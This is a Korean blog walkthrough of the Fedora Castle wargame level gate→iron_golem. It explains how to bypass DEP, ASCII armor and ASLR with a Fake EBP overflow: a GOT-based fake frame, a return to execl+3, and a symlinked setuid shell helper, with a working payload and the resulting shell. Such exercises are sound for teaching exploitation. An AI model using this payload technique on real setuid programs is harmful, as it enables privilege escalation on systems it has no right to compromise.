[1] gate -> iron_golem ( Fake EBP )

2017. 11. 28. 13:21SystemHacking/Fedora Catle




FC3 ( Fedora Catle )

FTZ나 LOB와는 다르게 여기에는 메모리 보호 기법이 적용되어 있고, 이를 우회해야합니다

메모리 보호기법 종류

1> DEP ( Data Excution Prevention )

스택메모리에서의 실행권한을 제거하여 스택에 Shellcode를 올려서 실행시킬 수 없습니다

2> 아스키 아머

모든 라이브러리 주소가 0x00 으로 시작하게 됩니다 => 0x00 값으로 인해 함수를 연속적으로 호출할 수 없게 되었다

(gdb) p system

$4 = {<text variable, no debug info>} 0x007507c0 <system>

(gdb) p strcpy

$5 = {<text variable, no debug info>} 0x00783880 <strcpy>


3> 랜덤 메모리 ( Address Space Layout Randomization )

스택 메모리의 주소들이 실행 할 때마다 랜덤하게 바뀐다

Data Section ( GOT or PLT ) & Code Secrtion ( leave or ret ) & Library 는 변하지 않아 사용할 수 있다




[ irongolem.c ]

1
2
3
4
5
6
7
8
9
10
11
12
int main(int argc, char *argv[])
{
    char buffer[256];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
cs


코드는 LOB의 Gremlin문제와 동일하지만 스택의 구조와 메모리 보호기법이 적용되어 있습니다


[ gdb irongolem.cp ]

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108 264

0x080483d9 <main+9>:    and    esp,0xfffffff0

0x080483dc <main+12>:   mov    eax,0x0

0x080483e1 <main+17>:   add    eax,0xf

0x080483e4 <main+20>:   add    eax,0xf

0x080483e7 <main+23>:   shr    eax,0x4

0x080483ea <main+26>:   shl    eax,0x4

0x080483ed <main+29>:   sub    esp,eax

0x080483ef <main+31>:   cmp    DWORD PTR [ebp+8],0x1 if ( argc < 2 )

0x080483f3 <main+35>:   jg     0x804840f <main+63>

0x080483f5 <main+37>:   sub    esp,0xc

0x080483f8 <main+40>:   push   0x8048524

0x080483fd <main+45>:   call   0x80482f8 <_init+56> printf("argv error\n")

0x08048402 <main+50>:   add    esp,0x10

0x08048405 <main+53>:   sub    esp,0xc

0x08048408 <main+56>:   push   0x0

0x0804840a <main+58>:   call   0x8048308 <_init+72> exit


0x0804840f <main+63>:   sub    esp,0x8

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax] argv[1]

0x0804841a <main+74>:   lea    eax,[ebp-264] buffer

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88> strcpy

0x08048426 <main+86>:   add    esp,0x10

0x08048429 <main+89>:   sub    esp,0x8

0x0804842c <main+92>:   lea    eax,[ebp-264] buffer

0x08048432 <main+98>:   push   eax

0x08048433 <main+99>:   push   0x8048530 %s

0x08048438 <main+104>:  call   0x80482f8 <_init+56> printf

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret


[ Stack 구조 ]

buffer        256byte

dummy      8byte

saved ebp   

saved eip


어떤 공격방법을 통해서 쉘을 실행시켜야 하는지 감이 잘 오지 않을 것이다

Fake EBP를 통해서 해당 문제를 해결해보도록 하겠다

=> 함수가 실행할 때 인자값을 ebp+8,ebp+12 지점을 이용하는 것을 이용



* 랜덤메모리 보호기법 우회 

스택에서는 랜덤메모리 보호기법에 의해서 스택에 데이터를 입력하여 사용할 수 없다

따라서 시스템 상의 고정되어 있는 지점을 찾고 해당 지점을 사용하여야한다


=> PLT와 GOT 를 이용한다 ( 실행하는 함수의 인자를 입력할 수 있는 지점으로 이용한다 ! )


[gate@Fedora_1stFloor ~]$ cp iron_golem iron_golem.cp

[gate@Fedora_1stFloor ~]$ gdb -q

[gate@Fedora_1stFloor ~]$ gdb -q iron_golem.cp

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108

.... ( 생략 ) ....

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax]

0x0804841a <main+74>:   lea    eax,[ebp-264]

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88> : strcpy()

.... ( 생략 ) ....

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret


< PLT와 GOT를 계산하는 지점을 확인해보고 인자로 사용할 적당한 주소가 있는지 확인 >

( 마지막이 NULL로 끝나는 지점이어야 한다 )

(gdb) x/3i 0x8048318 <-- PLT

0x8048318 <_init+88>:   jmp    ds:0x8049630 <-- GOT

0x804831e <_init+94>:   push   0x18

0x8048323 <_init+99>:   jmp    0x80482d8 <_init+24>


(gdb) x/4x 0x8049630

0x8049630 <_GLOBAL_OFFSET_TABLE_+24>:   0x0804831e      0x00000000      0x00000000      0x08049544


(gdb) x/4x 0x8049630 - 24 < ebp >

0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x00000000      0x00000000      0x080482ee <-- 0x08049624

(gdb) <ebp+4>            <ebp+8> <ebp+12> <ebp+16>

0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e      0x00000000

(gdb) x/4x 0x0804830e <-- 해당 주소에는 첫번째 값으로 68100000 이 있고, 6810이 명령어로 수행된다는 것을 의미한다 NULL값으로 인해 뒤의 값들은 무시됨

0x804830e <_init+78>:   0x00001068      0xffc0e900      0x25ffffff      0x08049630


=> function( ebp+8 , ebp+12 , ebp+16)


(gdb) disas execl

Dump of assembler code for function execl:

0x007a5720 <execl+0>:   push   ebp

0x007a5721 <execl+1>:   mov    ebp,esp

0x007a5723 <execl+3>:   lea    ecx,[ebp+16]

0x007a5726 <execl+6>:   push   edi



[ Stack 구조 ]

buffer        256byte

dummy      8byte

saved ebp   fake ebp

saved eip    &execl+3


< fake ebp > : 위에서 구한 GOT의 적당한 지점을 찾아서 정한다

< &execl + 3 >

execl함수의 프롤로그 부분부터 함수가 실행된다고 가정해보자

push ebp

mov ebp,esp => ebp는 Fake ebp가 아닌 esp에 있던 값으로 바뀐다

따라서 우리는 프롤로그 부분 다음의 주소로 eip를 변조해야한다

그렇게 되면 main leave과정에 의해 ebp에는 현재 Fake ebp가 저장되어 있다

execl함수가 실행하면서 fake ebp+8 , fake ebp+12 지점의 값을 인자로 사용하게 된다



< 동작과정 >

1> main함수의 에필로그 부분이 실행된다

leave    : mov esp,ebp , pop ebp <-- fake ebp

ret       : pop eip <-- &execl+3

2> execl+3 부터 execl함수가 실행된다

=> execl( ebp+8 , exp+12 , ebp+16 ) = execl( 0x6810, 쓰레기값 , 0x00000000 )

execl함수가 실행되고 인자를 사용할 수 있도록 변조를 해주었습니다. 이제는 인자를 변조할 차례입니다

GOT내의 값을 우리가 변경할 수 없기 때문에 링크를 통해서 우리가 원하는 인자를 실행시키도록 합시다


< 인자 변조 >

우선 우리가 실행시키고 싶은 명령어를 실행시키는 파일을 파일을 작성합니다

[gate@Fedora_1stFloor ~]$ vi shell.c

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
int main(){
  printf("real_Id: %d\n", getuid());
  printf("set uid: %d\n", geteuid());
  
  setreuid( geteuid() );
  system("/bin/sh");
 
  return 0;
}
cs

[gate@Fedora_1stFloor ~]$ gcc -o shell shell.c

[gate@Fedora_1stFloor ~]$ ln -s /home/gate/shell $(python -c 'print "\x68\x10"')

[gate@Fedora_1stFloor ~]$ ls

h? iron_golem  iron_golem.c  iron_golem.cp  shell  shell.c


위에서 gdb를 통해서 확인한 GOT에 위치한 execl의 첫 인자에 저장되어 있는 0x00001068 이 실행될 때 링크된 작성파일이 실행될 것이다



< Payload >

    < Fake ebp >        < &execl + 3 >

[gate@Fedora_1stFloor ~]$ ./iron_golem $(python -c 'print "A" * 264 + "\x24\x96\x04\x08" + "\x23\x57\x7a\x00"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$#Wz

real_Id: 500

set uid: 501

sh-3.00$ id

uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 501

blood on the fedora

sh-3.00$ whoami

iron_golem

sh-3.00$